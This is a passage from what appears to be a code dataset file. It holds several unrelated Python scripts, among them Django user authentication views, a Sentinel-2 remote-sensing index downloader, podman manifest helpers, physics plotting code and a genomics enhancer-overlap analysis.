1\n\t\n\tdef remove(self, data):\n\t\tthis_node = self.tail\n\t\tprev_node = None\n\t\t\n\t\twhile this_node:\n\t\t\t\n\t\t\tif this_node.get_data() == data:\n\t\t\t\t\n\t\t\t\tif prev_node:\n\t\t\t\t\tprev_node.set_next(this_node.get_next())\n\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tself.tail = this_node.get_next()\n\t\t\t\tself.size -= 1\n\t\t\t\treturn True\n\t\t\t\n\t\t\telse:\n\t\t\t\tprev_node = this_node\n\t\t\t\tthis_node = this_node.get_next()\n\t\t\n\t\treturn False\n\n\tdef find(self, data):\n\t\tthis_node = self.tail\n\t\tpos = 0\n\n\t\twhile this_node:\n\t\t\t\n\t\t\tif this_node.get_data() == data:\n\t\t\t\treturn data, pos\n\t\t\t\n\t\t\telse:\n\t\t\t\tthis_node = this_node.get_next()\n\t\t\t\tpos += 1\n\t\t\n\t\treturn None\n\n\tdef printList(self):\n\t\tthis_node = self.tail\n\t\tlinked_arr = []\n\n\t\twhile this_node:\n\t\t\tlinked_arr.append(this_node.get_data())\n\t\t\tthis_node = this_node.get_next()\n\n\t\treturn linked_arr\n\nif __name__ == '__main__':\n\n\tnew_list = LinkedList()\n\tlive = True\n\t\n\twhile(live):\n\t\tchoice = int(input(\"Choose\\n\\n1.add\\n2.remove\\n3.find\\n4.get_size\\n5.Print\\n6.Exit\\n\"))\n\t\t\n\t\tif choice == 1:\n\t\t\tvalue = int(input(\"Data: \"))\n\t\t\tnew_list.add(value)\n\t\t\n\t\telif choice == 2:\n\t\t\tvalue = int(input(\"Remove: \"))\n\t\t\t\n\t\t\tif new_list.remove(value):\n\t\t\t\tprint(\"removed: \" + str(value) + \"\\n\")\n\t\t\t\n\t\t\telse:\n\t\t\t\tprint(\"Err404: \"+ str(value) + \" not Found\\n\")\n\t\t\n\t\telif choice == 3:\n\t\t\tvalue = int(input(\"Find = \"))\n\t\t\t\n\t\t\tif new_list.find(value):\n\t\t\t\tprint(\"Found: \" + str(new_list.find(value)[0]) + \" at: \" + str(new_list.find(value)[1]) + \"\\n\")\n\t\t\t\n\t\t\telse:\n\t\t\t\tprint(\"Err404: \"+ str(value) + \" not Found\\n\")\n\t\t\n\t\telif choice == 4:\n\t\t\tprint(\"Current size of List: \" + str(new_list.get_size()))\n\t\t\n\t\telif choice == 5:\n\t\t\tli_array = new_list.printList()\n\t\t\tfor data in li_array:\n\t\t\t\tprint(str(data) + \"\\n\")\n\t\telif choice == 6:\n\t\t\tlive = False","sub_path":"data structures/linked_list_stack.py","file_name":"linked_list_stack.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"517706133","text":"from threading import Thread\nimport time\nimport logging\nfrom decimal import *\nimport decimal\nimport timeit\nimport os\n\nlogging.basicConfig(level=logging.DEBUG, format='(%(threadName)s) %(message)s', )\n\n# Note: this method taken from \n# https://docs.python.org/3/library/decimal.html#recipes\ndef pi():\n \"\"\"Compute Pi to the current precision.\n\n >>> print(pi())\n 3.141592653589793238462643383\n\n \"\"\"\n getcontext().prec += 2 # extra digits for intermediate steps\n three = Decimal(3) # substitute \"three=3.0\" for regular floats\n lasts, t, s, n, na, d, da = 0, three, 3, 1, 0, 0, 24\n while s != lasts:\n lasts = s\n n, na = n+na, na+8\n d, da = d+da, da+32\n t = (t * n) / d\n s += t\n getcontext().prec -= 2\n return +s # unary plus applies the new precision. \n\n\ndef calculate():\n\tdecimal.getcontext().prec = 30000\n\tstart_time = timeit.default_timer()\n\tlogging.info('starting execution %s', os.getpid())\n\tpi()\n\telapsed = timeit.default_timer() - start_time\n\tlogging.info('time taken %s seconds %s', elapsed, os.getpid())\n\nstart_time = timeit.default_timer()\nforks = 4\nchildren = []\n\nfor i in range(forks):\n pid = os.fork()\n if pid:\n children.append(pid)\n else:\n calculate()\n os._exit(0)\nfor i, child in enumerate(children):\n os.waitpid(child, 0)\nelapsed = timeit.default_timer() - start_time\nlogging.info('program time taken %s seconds', elapsed)","sub_path":"comp/8005/assignment 1/src/assignment1-processes.py","file_name":"assignment1-processes.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"67550212","text":"from django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.db import transaction\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.contrib import auth\nfrom django.urls import reverse\n\nfrom authapp.forms import ShopUserAuthenticationForm, ShopUserRegisterForm, ShopUserEditForm, ShopUserProfileEditForm\nfrom authapp.models import ShopUser\n\ndef send_verification_email(user):\n verify_link = reverse('auth:verify', args=[user.email, user.activation_key])\n\n subject = f'Активация пользователя {user.username}'\n\n message = f'Для подтверждения перейдите по ссылке:\\n {settings.DOMAIN_NAME}{verify_link}'\n\n return send_mail(subject, message, settings.DOMAIN_NAME, [user.email], fail_silently=False) #send_mail метод из стандартного набора\n\n\ndef verify(request, email, activation_key):\n try:\n user = ShopUser.objects.get(email=email)\n if user.activation_key == activation_key and not user.is_activation_key_expired():\n user.is_active = True\n user.save()\n auth.login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n return render(request, 'authapp/verification.html')\n else:\n print(f'error: activation user: {email}') #логирование\n return render(request, 'authapp/verification.html')\n except Exception as e:\n print(e.args)\n return HttpResponseRedirect(reverse('main:index'))\n\n\ndef login(request):\n redirect_url = request.GET.get('next', None)\n\n if request.method == 'POST':\n form = ShopUserAuthenticationForm(data=request.POST)\n\n if form.is_valid():\n username = request.POST['username']\n password = request.POST['password']\n user = auth.authenticate(username=username, password=password)\n if user and user.is_active:\n redirect_url = request.POST.get('redirect_url', None)\n\n auth.login(request, user)\n if redirect_url:\n\n return HttpResponseRedirect(redirect_url)\n return HttpResponseRedirect(reverse('main:index'))\n else:\n\n form = ShopUserAuthenticationForm()\n from_register = request.session.get('register', None)\n if from_register:\n del request.session['register']\n context = {\n 'page_title': 'аутентификация',\n 'form': form,\n 'redirect_url': redirect_url,\n 'from_register': from_register,\n }\n return render(request, 'authapp/login.html', context)\n\ndef logout(request):\n auth.logout(request)\n return HttpResponseRedirect(reverse('main:index'))\n\ndef user_register(request):\n title = 'регистрация'\n if request.method == 'POST':\n register_form = ShopUserRegisterForm(request.POST, request.FILES)\n if register_form.is_valid():\n user = register_form.save()\n if send_verification_email(user):\n request.session['register'] = True\n print('succes')\n return HttpResponseRedirect(reverse('authapp:login'))\n else:\n print('error')\n register_form = ShopUserRegisterForm()\n context = {\n 'page_title': 'регистрация',\n 'form': register_form,\n }\n return render(request, 'authapp/register.html', context)\n\n@transaction.atomic() #в случае, если операция не завершилась успешно, делает откат в БД\ndef user_profile(request):\n\n if request.method == 'POST':\n user = ShopUserEditForm(request.POST, request.FILES, instance=request.user)\n profile_form = ShopUserProfileEditForm(request.POST, instance=request.user.shopuserprofile)\n if user.is_valid() and profile_form.is_valid():\n # with transaction.atomic(): пример исп-я декоратора внутри ф-ции\n # smth_to.save() для примера исп-я декоратора внутри ф-ции\n # user.save()\n #etc\n user.save()\n return HttpResponseRedirect(reverse('main:index'))\n else:\n user = ShopUserEditForm(instance=request.user) #если в Джанго не передавать instance, то он будет пытаться создавать новый объект\n profile_form = ShopUserProfileEditForm(instance=request.user.shopuserprofile)\n\n context = {\n 'page_title': 'профиль',\n 'form': user,\n 'profile_form': profile_form\n }\n return render(request, 'authapp/profile.html', context)","sub_path":"authapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"583719536","text":"import ee\nimport urllib\nfrom io import BytesIO\nimport os\n\n\nclass S2indexes:\n\n def __init__(self, area, dir, date_from, date_end, scope):\n \"\"\"\n given an area defined by a geoJSON, it returns rasters of\n remote sensing indexes at the specified date at granularuity defined by the scope parameter\n :param area: geoJSON, use squaretogeojson to generate\n :param dir: directory where to save the easter\n :param date: nightlights for what point in time?\n \"\"\"\n self.area = area\n self.dir = dir\n self.date_from = date_from\n self.date_end = date_end\n self.scope = scope\n\n def download(self):\n print('INFO: downloading rms indexes for area of interest ...')\n\n if os.path.exists(self.dir + str(self.area[\"coordinates\"]) + \"NDVI_max.tif\") \\\n and os.path.exists(self.dir + str(self.area[\"coordinates\"]) + \"NDBI_max.tif\") \\\n and os.path.exists(self.dir + str(self.area[\"coordinates\"]) + \"NDWI_max.tif\"):\n self.files = [str(self.area[\"coordinates\"]) + \"NDVI_max.tif\", str(self.area[\"coordinates\"]) + \"NDBI_max.tif\", str(self.area[\"coordinates\"]) + \"NDWI_max.tif\"]\n print('INFO: NDs data for {} already downloaded'.format(self.area[\"coordinates\"]))\n else:\n\n ee.Initialize()\n GREEN = 'B3'\n RED = 'B4'\n NIR = 'B8'\n SWIR = 'B11'\n sentinel = ee.ImageCollection('COPERNICUS/S2') \\\n .filterDate(ee.Date(self.date_from), ee.Date(self.date_end)) \\\n .filterBounds(self.area) \\\n .select([GREEN, RED, NIR, SWIR]) \\\n .filterMetadata('CLOUDY_PIXEL_PERCENTAGE', 'less_than', 70)\n\n def addIndices(image):\n ndvi = image.normalizedDifference([NIR, RED])\n ndbi = image.normalizedDifference([SWIR, NIR])\n ndwi = image.normalizedDifference([GREEN, NIR])\n return image.addBands(ndvi.rename('NDVI')) \\\n .addBands(ndbi.rename('NDBI')) \\\n .addBands(ndwi.rename('NDWI'))\n\n img = sentinel.map(addIndices).select(['NDVI', 'NDBI', 'NDWI']).reduce(\"max\").clip(self.area)\n\n # download\n if self.scope == 'urban':\n print('INFO: NDs scope > urban')\n scale = 100\n else:\n print('INFO: NDs scope -> country')\n scale = 5000\n url = img.getDownloadUrl({'crs': 'EPSG:4326', 'region': self.area, 'scale': scale})\n self.files = self.unzip(BytesIO(urllib.request.urlopen(url).read()), self.dir, self.area)\n\n def unzip(self, buffer, dir, area):\n\n from zipfile import ZipFile\n\n zip_file = ZipFile(buffer)\n files = zip_file.namelist()\n for i, j in zip(files[-3:], [\"NDVI_max.tif\", \"NDBI_max.tif\", \"NDWI_max.tif\"]):\n print(i, j)\n zip_file.extract(i, dir)\n os.rename(dir + i, dir + str(area[\"coordinates\"]) + j)\n\n return [str(self.area[\"coordinates\"]) + \"NDVI_max.tif\", str(self.area[\"coordinates\"]) + \"NDBI_max.tif\", str(self.area[\"coordinates\"]) + \"NDWI_max.tif\"]\n\n def rms_values(self, df, lon_col='gpsLongitude', lat_col='gpsLatitude'):\n \"\"\"\n Given a dataset with latitude and longitude columns, it returns the nightlight value at each point.\n :param df: DataFrame\n :param lon_col: column names for longitude\n :param lat_col: column name of latitude\n :return: Series\n \"\"\"\n import rasterio\n try:\n NDVI = rasterio.open(self.dir + self.files[0])\n NDBI = rasterio.open(self.dir + self.files[1])\n NDWI = rasterio.open(self.dir + self.files[2])\n except MemoryError:\n print('Remote Sensing Indexes Raster too big!')\n raise\n\n def val_extract(row):\n\n try: # TODO: BUFFER!\n i, j = NDVI.index(row[lon_col], row[lat_col])\n veg = NDVI.read(1)[i, j]\n build = NDBI.read(1)[i, j]\n wat = NDWI.read(1)[i, j]\n return veg, build, wat\n\n except IndexError as e:\n print(e, row[lon_col], \", \", row[lat_col])\n veg = 0\n build = 0\n wat = 0\n return veg, build, wat\n\n return df.apply(val_extract, axis=1)\n","sub_path":"Src/rms_indexes.py","file_name":"rms_indexes.py","file_ext":"py","file_size_in_byte":4410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"162288510","text":"from cosalib.utils import run_cmd\n\n\ndef create(repo, tag, imageTags):\n '''\n Create manifest list\n @imageTags list image tags\n @param repo str registry repository\n @param tag str manifest tag\n '''\n run_cmd(f\"podman manifest create {repo}:{tag}\")\n for imgtag in imageTags:\n run_cmd(f\"podman manifest add {repo}:{tag} docker://{repo}:{imgtag}\")\n\n\ndef push(repo, tag, v2s2=None):\n '''\n Push manifest to registry\n @param repo str registry repository\n @param tag str manifest tag\n @param v2s2 boolean use force v2s2\n '''\n # ` --remove-signatures -f v2s2` is an workaround for when you try to create a manifest with 2 different mediaType. It seems\n # an Quay issue\n if v2s2:\n run_cmd(f\"podman manifest push --all {repo}:{tag} docker://{repo}:{tag} --remove-signatures -f v2s2\")\n else:\n run_cmd(f\"podman manifest push --all {repo}:{tag} docker://{repo}:{tag}\")\n","sub_path":"src/cosalib/manifest.py","file_name":"manifest.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"147477292","text":"from ThesisAnalysis import get_data, ThesisHDF5Reader\nfrom sstcam_sandbox import get_plot\nfrom ThesisAnalysis.plotting.setup import ThesisPlotter\nimport os\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom CHECLabPy.core.io import DL1Reader\nfrom CHECLabPy.spectrum_fitters.gentile import GentileFitter\nfrom IPython import embed\n\n\nclass SPEPlotter(ThesisPlotter):\n def plot(self, df):\n for _, row in df.iterrows():\n type_ = row['type']\n norm = row['norm{}'.format(row['roi'])]\n edges = row['edges']\n between = row['between']\n fitx = row['fitx']\n lambda_ = row['lambda_{}'.format(row['roi'])]\n lambda_err = row['error_lambda_{}'.format(row['roi'])]\n hist = row['hist']# / norm\n fit = row['fit'] / norm\n\n color = next(self.ax._get_lines.prop_cycler)['color']\n self.ax.hist(between, bins=edges, weights=hist, histtype='step',\n color=color, normed=True)\n self.ax.plot(fitx, fit, color=color,\n label=\"{}\\n({:.3f} ± {:.3f} p.e.)\".format(type_, lambda_, lambda_err))\n\n self.add_legend()\n self.ax.set_xlabel(\"Charge (p.e.)\")\n self.ax.set_ylabel(\"Count Density\")\n\n\nclass SPEPlotterTable(SPEPlotter):\n def __init__(self):\n super().__init__()\n\n self.fig = plt.figure(figsize=self.get_figsize())\n self.ax = plt.subplot2grid((3, 2), (0, 0), rowspan=3)\n self.ax_t = plt.subplot2grid((3, 2), (0, 1), rowspan=3)\n\n def plot(self, df):\n super().plot(df)\n\n type_list = []\n coeff_list = []\n errors_list = []\n for _, row in df.iterrows():\n type_ = row['type']\n coeff = dict(\n lambda_0=row['lambda_0'],\n lambda_1=row['lambda_1'],\n lambda_2=row['lambda_2'],\n eped=row['eped'],\n eped_sigma=row['eped_sigma'],\n spe=row['spe'],\n spe_sigma=row['spe_sigma'],\n opct=row['opct'],\n )\n errors = dict(\n lambda_0=row['error_lambda_0'],\n lambda_1=row['error_lambda_1'],\n lambda_2=row['error_lambda_2'],\n eped=row['error_eped'],\n eped_sigma=row['error_eped_sigma'],\n spe=row['error_spe'],\n spe_sigma=row['error_spe_sigma'],\n opct=row['error_opct'],\n )\n type_list.append(type_)\n coeff_list.append(coeff)\n errors_list.append(errors)\n\n self.ax_t.axis('off')\n columns = [*type_list]\n rows = list(coeff_list[0].keys())\n cells = [['%.3g ± %.3g' % (coeff_list[0][i], errors_list[0][i]),\n '%.3g ± %.3g' % (coeff_list[1][i], errors_list[1][i])]\n for i in rows]\n table = self.ax_t.table(cellText=cells, rowLabels=rows,\n colLabels=columns, loc='center')\n table.set_fontsize(10)\n\n\ndef process(input_path, output_path):\n with ThesisHDF5Reader(input_path) as reader:\n df = reader.read(\"data\")\n\n p_spe = SPEPlotter(sidebyside=True)\n p_spe.plot(df)\n p_spe.save(output_path)\n\n table_path = os.path.splitext(output_path)[0] + \"_table.pdf\"\n p_spe_table = SPEPlotterTable()\n p_spe_table.plot(df)\n p_spe_table.save(table_path)\n\n\ndef main():\n input_path = get_data(\"spe_spectrum_comparison/mc_lab.h5\")\n output_path = get_plot(\"d190624_icrc/mc_lab.pdf\")\n process(input_path, output_path)\n\n input_path = get_data(\"spe_spectrum_comparison/checm_checs.h5\")\n output_path = get_plot(\"d190624_icrc/checm_checs.pdf\")\n process(input_path, output_path)\n\n\nif __name__ == '__main__':\n main()","sub_path":"sstcam_sandbox/d190624_icrc/spe_spectrum_comparison.py","file_name":"spe_spectrum_comparison.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"312430597","text":" #!/bin/bash/python\n\n#180216 \"High Quality\" (HQ) villar species ChIP-SEQ datasets were separately analyzed versus Broadly Active Enhancers (BAEs) overlapping the 90th% of enhancers identified in Method 2. We have found that most BAEs do not contain any sequence that aligns with other species, suggesting these enhancers correspond to human specific sequences in regions of the genome recently acquired. To make sure that our finding is not an artifact of noisy sequencing datasets, we limited our comparison to the high_quality_species datasets.\n\n#180210 METHOD 2 V1 - This script replaces the multiintersection of all roadmap tissues after each being crossed to villar with a pandas query.\n\n#180205 METHOD 2 - this script has been modified from the 180130 script comparing roadmap hliver active enhancers with villar liver enhancers into a query for any roadmap active enhancer dataset with evidence of Villar liver enhancers. The purpose of this query is to understand the uniqueness or the ubiquity of Villar hliver enhancers in other roadmap tissues. Identifying active enhancers in Villar's dataset present in the roadmap datasets in any tissue may validate those fragments as bona fide enhancers.\n\n#180206 - The relaxed enhancer definition should be used to recapitulate Villar's method for identifying enhancers in the future. For now, I will use the stringent method for orthogonal validation of enhancers with the multiintersect approach used to identify broadly active enhancers. \n\n#180130 the purpose of this script is to ask how many enhancers identified by Villar histone modifications in human liver overlap enhancers identified in roadmap human livers identified by those same histone modifications.\n\n# Villar Enhancer = H3K27ac+ H3K4me3- with no/ <50% overlap with H3K4me3 ChIP-SEQ dataset.\n\n#'s' = 'stringent' enhancers where H3K27ac modifications absolutely do not overlap H3K4me3 modification fragments.(H3K27ac+/H3K4me3-)\n#'r' = 'relaxed' enhancers here H3K27ac modifications do not overlap H3K4me3 modification fragments, or do with less than 50% overlap (H3K27ac+/H3K4me3<50%)\n\nimport os, sys\nimport pandas\nimport glob\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import stats\nplt.style.use('seaborn-deep')\ntoday = datetime.date.today()\n\nmkdir = \"mkdir /Users/sarahfong/Desktop/CAPRA/%s\" %today\nos.system(mkdir)\nnow = \"2018-02-10\"\n\npath = \"/Users/sarahfong/Desktop/CAPRA/datasource/roadmap/2018-01-22\"\n\nos.chdir(path)\n\nroadmap_datasets= sorted(glob.glob(\"2018-01-2*.bed\"))\n\ndate = path.split(\"/\")[-1]\n\nroadmap_datasets_dict= dict((i.split(\"_\")[6], i) for i in roadmap_datasets) # this is a dictionary of E00*.bed:2018-01-2*.bed\n\nvillar = \"HSap_H3K4me3.H3K27Ac_overlap_H3K27Aconly.bed\" # the villar hliver active enhancer dataset.\n\nv = pandas.read_table(villar)\n\nv.columns=[\"v-chr\", \"v-start\", \"v-end\", \"IDs\"]\n\n#perform single intersect to find overlapping villar hliver enhancers in E-xxx_tissue\n\ndf = pandas.DataFrame(columns= [\"tissue\",\"num_roadmap\", \"num_villar\",\"num_villar_u\", \"overlap\", \"overlap_u\"]) #empty dataframe to measure the overlap of roadmap_datasets and villar_dataset for each tissue.\n\nfor tissue, tissue_file in roadmap_datasets_dict.items():\n tissue = tissue.replace(\".bed\", \"\")\n \n outfile = \"%s_villar_enhancers_x_%s_%s.bed\" % (now, date, tissue)\n outfile_u = \"%s_villar_enhancers_u_x_%s_%s.bed\" % (now, date, tissue)\n\n bed_cmd = \"bedtools intersect -a %s -b %s -f 0.5 -e -wa -wb > %s\" % (villar, tissue_file, outfile)\n #print(bed_cmd)\n #os.system(bed_cmd)\n \n bed_cmd_u = \"bedtools intersect -a %s -b %s -f 0.5 -e -u > %s\" % (villar, tissue_file, outfile_u)\n #print(bed_cmd_u)\n #os.system(bed_cmd_u)\n \n tissue_enh_count = len(pandas.read_table(tissue_file))\n villar_enh_count = len(pandas.read_table(outfile))\n villar_u_enh_count = len(pandas.read_table(outfile_u))\n overlap = (villar_enh_count/tissue_enh_count)\n overlap_u = (villar_u_enh_count/tissue_enh_count)\n\n df2 = pandas.DataFrame([[tissue, tissue_enh_count, villar_enh_count, villar_u_enh_count, overlap, overlap_u]], columns= [\"tissue\",\"num_roadmap\", \"num_villar\",\"num_villar_u\", \"overlap\", \"overlap_u\"])\n df = pandas.concat([df2, df])\n\nwidth = 0.7 \nindices = np.arange(len(df[\"tissue\"]))\n\ndf= df.sort_values(by =\"num_villar_u\", ascending=False)\ndf.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/Villar_x_Roadmap_df_summary.csv\" %today , sep ='\\t', index = False)\n\n################## Horizontal Bar Plot VILLAR ENHANCER OVERLAP PER ROADMAP TISSUE ##############################\n\nplt.figure(num=None, figsize=(10,6), dpi=200, facecolor='w', edgecolor='k')\n\nplt.bar(indices, df[\"num_roadmap\"], width, color = 'k', label = 'Roadmap', alpha = 0.25)\n\n#plt.bar([(i+0.25*width) for i in indices], df[\"num_villar\"], 0.5*width, color = 'r', alpha = 0.5, label = 'Villar-Overlap All')\n\nplt.bar([(i-0.25*width) for i in indices], df[\"num_villar_u\"], 0.5*width, color = 'r', alpha = 0.5, label = 'Villar-Overlap') #Unique Villar Enhancers\n\nplt.xticks(indices,[i for i in df[\"tissue\"]], fontsize = 6, rotation=90)\nplt.yticks(fontsize = 10)\nplt.ylabel(\"Num. Enhancer Peaks\", fontsize = 10)\n\nplt.xlabel(\"Roadmap Datasets\", fontsize = 10)\nplt.title(\"Abs Num. Overlapping Villar Peaks in Roadmap\", fontsize = 10)\nplt.legend(fontsize = 10)\nplt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n\nplt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_villar_overlap_bar-non-h-_abs.pdf\" %(today,today))\nplt.close()\n \n###################### Line plot VILLAR ENHANCER OVERLAP PER ROADMAP TISSUE ###################\n\nplt.figure(num=None, figsize=(8,6), dpi=100, facecolor='w', edgecolor='k')\n\nplt.plot(indices, df[\"num_roadmap\"], width, color = 'k', label = 'Roadmap', alpha = 0.25)\nplt.plot(indices, df[\"num_villar\"], width, color = 'b', label = 'Villar-All ')\nplt.plot(indices, df[\"num_villar_u\"], width, color = 'r', label = 'Villar-Overlap Unique')\n\n\nplt.xticks(indices,[i for i in df[\"tissue\"]], fontsize = 6, rotation = 90)\nplt.ylabel(\"Num. Enhancer peaks\")\nplt.xlabel(\"Roadmap Datasets\")\n\nplt.title(\"Abs Num. Overlapping Villar Peaks in Roadmap\")\nplt.legend()\n\nplt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\nplt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_method2_villar_overlap_line.pdf\" % (today,today))\n#plt.show()\nplt.close()\n\n#################### Horizontal Bar Plot FREQUENCY OF VILLAR OVERLAP PER ROADMAP TISSUE ################# #####\n\ndf= df.sort_values(by =\"overlap_u\", ascending = False)\nplt.figure(num=None, figsize = (10,4), dpi=200, facecolor= 'w', edgecolor ='k')\n\nplt.bar(indices, df[\"overlap_u\"], width, color = 'g', label = 'Roadmap Enhancers')\n#plt.barh(indices, df[\"overlap_u\"], width, color = 'g', label = 'Villar Enhancers')\n\nplt.xticks(indices+0.5*width,[i for i in df[\"tissue\"]], fontsize = 6, rotation = 90)\n#plt.yticks(indices,[i for i in df[\"tissue\"]], fontsize = 5)\n\nplt.ylabel(\"Overlap\", fontsize=8)\n\nplt.xlabel(\"Roadmap Datasets\", fontsize=8)\nplt.legend(fontsize=8)\nplt.title(\"% Overlapping Unique Villar Enhancers in Roadmap Tissues\", fontsize=8)\n\nplt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_method2_freq_villar_overlap_in_roadmap_bar.pdf\" % (today, today))\nplt.close()\n\n############## INTERSECT ALL UNIQUE VILLAR ACTIVE ENHANCERS PER ROADMAP TISSUE TO FIND COMMONLY OVERLAPPING ENHANCERS BETWEEN DATASETS #########\n\nany_tissue_enhancer=glob.glob(\"%s_villar_enhancers_u*.bed\" % now)\n\nresults = v\n\nfor tissue in any_tissue_enhancer:\n\n df= pandas.read_table(tissue)\n \n tissue_id = (tissue.split(\"_\")[6]).split(\".\")[0]\n\n df.columns = [\"%s-chr\" %tissue_id, \"%s-start\"%tissue_id, \"%s-end\"%tissue_id, \"IDs\"]\n df[\"%s\"%tissue_id] = 1\n\n results = pandas.merge(results, df[[\"IDs\",\"%s\" %tissue_id]], how = \"left\", on = \"IDs\")\n\na = results.columns[4:]\nresults[\"sum\"] = results[a].sum(axis =1)\n#results[\"sum\"] = results[\"sum\"].fillna(0)\n\nb = results[\"sum\"].quantile(0.9) # the zeros do not change the 90th % cut off of overlapping datasets. \nresults_90 = results.loc[results[\"sum\"]>= b]\nresults_90[\"90_percentile\"] = 1 # create a column that marks enhancers in the 90th%. 1 = 90th% enhancer, 0 = enhancer is not in 90th%\n\nresults_merged = pandas.merge(results, results_90[[\"IDs\",\"90_percentile\"]], how = \"left\", on = \"IDs\")\nresults_merged[\"90_percentile\"] = results_merged[\"90_percentile\"].fillna(0) # fill in the rest of the 90th% genes with zeros\n\nnow = datetime.date.today()\nresults_trans = results_merged.transpose()\n#results_90.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/method2_villar_x_any_roadmap_90th_%s.bed\" % (now,now), sep = '\\t', index = False, header = False) #save 90th% without villar species merge.\n\n#results_merged[[\"v-chr\",\"v-start\", \"v-end\"]].to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/method2_villar_x_any_roadmap_%s_coordinates.bed\" % (now,now), sep = '\\t', index = False, header = False) # save dataframe\n\n#results_trans.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/method2_villar_x_any_roadmap_%s.csv\" % (now,now), sep = '\\t', index = False, header = True) # save transposed dataframe\n\n##################### PLOT 90TH% AS A HISTOGRAM ############\nhist_data = results[\"sum\"]\nhist90_data = results_90[\"sum\"]\nindices = np.arange(results[\"sum\"].max())\ndata,bins,patches = plt.hist(hist_data, indices, facecolor = \"blue\", alpha = 0.75, label = \"All Enhancers\")\ndata,bins,patches = plt.hist(hist90_data, indices, facecolor = \"yellow\", alpha = 0.75, label = \"90th% Enhancers\")\n\nplt.xlabel(\"Num. Overlapping Roadmap Datasets\")\nplt.ylabel(\"Num. Villar Enhancers\")\nplt.title(\"Overlapping Villar Enhancers in Roadmap Datasets\")\nplt.legend()\nplt.savefig(\"/Users/sarahfong/Desktop/CAPRA/%s/%s_method2_villar_enhancers_overlapping_roadmap.pdf\" %(today, today))\nplt.close()\n\ndata = [hist_data, hist90_data]\ndatatype = \"Roadmap Villar Overlap\"\nlabels = [\"all enh\", \"90th% enh\"]\n#histogram(data, indices, datatype, labels, 10)\n\n############# COMPARE TO VILLAR ANALYSIS OF ACTIVE/ALIGNABLE ENHANCERS###########\npath = \"/Users/sarahfong/Desktop/CAPRA/datasource/\"\nos.chdir(path)\n\n#'vsal' = 'Villar Species Activity/ aLignment' dataframe\nvsal = pandas.read_table(\"Hsap_Enhancers_conservationInOthers.bed\", sep = '\\t')\n\nhq_species =['Mmul', 'Cjac', 'Mmus', 'Rnor', 'Ocun', 'Btau', 'Sscr', 'Cfam', 'Fcat']\n\nspecies = vsal.columns[4:22]\n\n#sum activity across species first\nvsal[species] = vsal[species].replace(\"-\",0) # replace all alignable, not active enhancers with '0' to sum enhancer activity\nvsal[species] = vsal[species].replace({'H3': 1}, regex = True) # replace all the active enhancers with '1' to sum \nvsal[\"sum_act_sp\"] = vsal[species].sum(axis=1)\nvsal[\"sum_hq_act_sp\"] = vsal[hq_species].sum(axis = 1)\n\n#now,sum alignability across species second\nvsal[species] = vsal[species].replace(0,1) #now, replace all alignable, non-active enhancers with '1' to sum alignability\n\nvsal[\"sum_aln_sp\"] = vsal[species].sum(axis=1)\nvsal[\"sum_hq_aln_sp\"] = vsal[hq_species].sum(axis = 1)\n\nvrs = pandas.merge(results_merged, vsal, how = \"left\", on= \"IDs\")\n\nvrs.sort_values(by = \"sum\")\n\nvrs.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/Villar_Roadmap_Species_vrs_overlap_%s.csv\" %(now, now), sep = '\\t', index = False, header = True)\n\nshort_vrs = vrs[[\"v-chr\", \"v-start\", \"v-end\",\"IDs\", \"sum\",\"90_percentile\", \"sum_act_sp\", \"sum_aln_sp\", \"sum_hq_act_sp\", \"sum_hq_aln_sp\"]]\nshort_vrs= short_vrs.sort_values(by = \"sum\")\nshort_vrs[\"length\"] = short_vrs[\"v-end\"].subtract(short_vrs[\"v-start\"])\n\nshort_vrs = short_vrs.fillna(0)\nshort_vrs.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/Villar_Roadmap_Species_short_vrs_overlap_%s.csv\" %(now, now), sep = '\\t', index = False, header = True)\n\nshort_vrs_90 = short_vrs.loc[short_vrs[\"sum\"]>= b]\nshort_vrs_not_90 = short_vrs.loc[short_vrs[\"sum\"]< b]\nshort_vrs_90.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/short_vrs_90_overlap_%s\" %(now, now), sep = '\\t', index = False, header = False)\n\n############ LENGTH OF BROADLY ACTIVE ENHANCERS ########\n\n# See vrs_boxplot_length.py\n\n############ HUMAN-SPECIFIC/ SPECIES CONSERVED ####### \ncomp = [\"sum_act_sp\", \"sum_aln_sp\", \"sum_hq_act_sp\", \"sum_hq_aln_sp\"]\nfor item in comp:\n hspec = short_vrs_90[[\"v-chr\", \"v-start\", \"v-end\"]].loc[short_vrs_90['%s' %item] == 0]\n hspec.to_csv(\"/Users/sarahfong/Desktop/CAPRA/%s/hspec_vrs_90_%s_zero_%s.bed\" %(now, item, now), sep = '\\t', index = False, header = False)\n consv = short_vrs_90[[\"v-chr\", \"v-start\", \"v-end\"]].loc[short_vrs_90['%s'%item] > 0]\n 